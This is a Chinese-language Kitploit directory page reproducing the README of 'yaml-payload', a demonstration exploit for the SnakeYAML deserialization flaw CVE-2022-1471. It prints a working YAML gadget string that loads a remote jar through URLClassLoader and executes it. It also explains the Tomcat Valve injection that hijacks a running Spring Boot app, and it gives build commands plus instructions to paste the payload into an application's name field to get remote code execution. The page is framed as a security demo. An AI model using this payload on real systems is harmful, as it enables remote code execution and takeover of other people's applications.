Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
yaml-payload — SnakeYAML CVE-2022-1471 演示用漏洞利用载荷 | Kitploit
工具/GitHubGitHub/seal-sec-demo-2/yaml-payload
动态分析 (沙盒)漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发
GitHubseal-sec-demo-2/yaml-payload

yaml-payload

SnakeYAML CVE-2022-1471 演示用漏洞利用载荷

查看仓库
36个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

yaml-payload

一个用于 CVE-2022-1471 的 SnakeYAML 反序列化利用 payload,改编自 artsploit/yaml-payload(最初基于 mbechler/marshalsec)。

功能

当通过 SnakeYAML 不安全的 Yaml.load() 加载时,此 payload 会接管正在运行的应用程序,并用一个 "You've Been PWNED" 页面替换它:

  1. 通过反射将 Tomcat Valve 注入到正在运行的 Spring Boot 应用中,劫持现有的 8080 端口 —— 相同的 URL(包括任何 ngrok 隧道)现在会提供 PWNED 页面
  2. 自动重定向浏览器 —— POST 响应发送 302 重定向,因此浏览器会立即加载 PWNED 页面,无需手动刷新
  3. 自动打开浏览器 并访问正确的 URL(如果可用则为 ngrok 公共 URL,否则为 localhost:8080)
  4. 将利用证据打印到控制台/CI 日志

如果 Tomcat Valve 注入不可用(例如非 Spring 应用),它会回退到在 9999 端口启动一个独立的 HTTP 服务器,并在 ngrok 运行时自动创建 ngrok 隧道。

这在 macOS 本地 和 CI/CD 流水线(例如 Ubuntu 上的 GitHub Actions)中均适用。

利用链的工作原理

SnakeYAML payload 通过 Java SPI(Service Provider Interface,服务提供者接口)触发 ScriptEngineManager:

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML 实例化指向此仓库 yaml-payload.jar 的 java.net.URL
  2. 将其包装在 URLClassLoader 中以加载远程类
  3. ScriptEngineManager 通过 META-INF/services/javax.script.ScriptEngineFactory 发现并加载 AwesomeScriptEngineFactory
  4. 该工厂的构造函数将一个 Valve 注入到正在运行的 Tomcat 管道中,将后续所有 / 上的响应替换为 PWNED 页面

构建

需要 JDK 17+:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

用法

用作 maven-demo 项目中的利用 payload。将 payload 字符串粘贴到应用的名称字段中以触发 RCE。应用页面将在下一次请求时被替换为 PWNED 页面。完整演示说明请参阅该仓库的 README。

下载工具